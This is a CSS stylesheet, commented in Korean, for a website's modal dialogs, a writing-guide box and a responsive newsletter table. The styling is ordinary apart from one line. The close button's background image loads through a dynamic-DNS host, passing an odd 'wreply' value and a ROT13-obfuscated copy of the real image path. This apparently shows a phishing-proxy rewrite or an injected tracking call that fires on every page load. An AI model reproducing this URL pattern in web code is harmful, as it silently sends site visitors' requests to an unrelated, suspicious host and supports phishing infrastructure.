/* 모달 레이어 */
.modal-wrap {
	background-color:rgba(0,0,0,.5); 
	justify-content:center; /* 수평 중앙정렬 */
	align-items:center;     /* 수직 중앙정렬 */
	position:fixed;         /* 화면 고정 */
	top:0;
	left:0;
	right:0;
	bottom:0;       
	display:flex; 	/* 처음부터 보이게 하는 상황이라면 display:flex; */
	padding:5%;
	opacity:0;
    transition:all 0.3s ease;
    transform:scale(1.2);
    z-index:-1;
}
.modal-wrap.active {
    opacity:1;
    z-index:1000;
    transform:scale(1);
}
.modal-content {
    display:none;
    max-width:120rem;
	position:relative;
	top:0;
	bottom:0;
    width:100%;   
	background:#fff;
    padding:3rem;
	z-index:1001;
	overflow:hidden;
    -webkit-box-shadow: 0px 0px 10px 0px rgba(0,0,0,1);
    -moz-box-shadow: 0px 0px 10px 0px rgba(0,0,0,1);
    box-shadow: 0px 0px 10px 0px rgba(0,0,0,1);
}
.modal-wrap.active .modal-content {
    display:block;
}

.modal-header {
    position:relative;  
}
.modal-header h2 {
    font-size:2.4rem;
    color:var(--head-color);
    font-weight:700;
    margin-bottom:2rem;
}
.modal-header p {margin-top:-1rem; margin-bottom:1rem; font-size:1.6rem; color:#777;}
.modal-header .close {
    display:block; position:absolute; top:-1rem; right:-1rem; font-size:0;
    width:5rem; height:5rem; background:url("http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sxvns.xe%2Sarj%2Spff%2S..%2Svzt%2Syl_pybfr.cat") no-repeat center;
    background-size:5rem;
}

.modal-body {
    overflow-y:auto;
    max-height:calc(100vh - 16rem);
}
.modal-body::-webkit-scrollbar {
    width:0.6rem;
}
.modal-body::-webkit-scrollbar-track {
    background:#eee;
    /* border-radius:100vw; */
}
.modal-body::-webkit-scrollbar-thumb {
    background:#ccc;
    /* border-radius:100vw; */
    /* border:0.3rem solid #fff; */
}


.modal-footer {
    padding-top:2rem;
}
.modal-footer .center {
    display:flex;
    align-items:center;
    justify-content:center;
    column-gap:1rem;
}





/** 작성가이드 **/
.guide_box > h2 {font-size:2.4rem; color:#222; font-weight:700; line-height:1;}
.guide_box > dl {}

.guide_box > dl > dd {}
.guide_box > dl > dd h2 {font-size:2rem; color:#000; font-weight:700;}
.guide_box > dl > dd h3 {font-size:1.8rem; color:#363636; font-weight:700;}
.guide_box > dl > dd p {margin-top:5px; font-size:1.6rem; color:#363636; line-height:1.5;}
.guide_box > dl > dd p.lst {margin-top:1.8rem; padding-left:2rem; text-indent:-2rem;}
.guide_box > dl > dd .h3_sub {padding-left:1.5rem;}
.guide_box > dl > dd .h3_sub h4 {margin-top:1.5rem; font-size:1.7rem; color:#363636; font-weight:500;}
.guide_box > dl > dd .h3_sub p {padding-left:2rem; text-indent:-1rem; font-size:1.5rem; color:#363636;}


.guide_box .ntbox {
	padding:2rem;
	background:#f4f6fa; font-size:1.6rem;
	border-radius:4px;
}


.ly_w_guide .modal-body {padding:3rem; border:solid 1px #ccc;}


/* 반응형 */
@media all and (max-width:875px) {
    .ly_w_guide .modal-body {padding:2rem;}
}



/* 뉴스레터 */
.newsLetter .tbl_view table th {padding:1rem 2rem;}
.newsLetter .tbl_view table td {padding:1rem 2rem;}
/* 반응형 테이블 */
@media all and (max-width:480px) {
	.newsLetter .tbl_view {overflow-x:inherit;}
	.newsLetter .tbl_view table {position:relative;}
	.newsLetter .tbl_view table colgroup {display:none;}
	.newsLetter .tbl_view table thead {display:none;}
	.newsLetter .tbl_view table tr {position:relative; display:block;}
	.newsLetter .tbl_view table th {display:block; height:auto; padding:1rem 0;}
	.newsLetter .tbl_view table td {display:block; height:auto; padding:1rem 0;}
}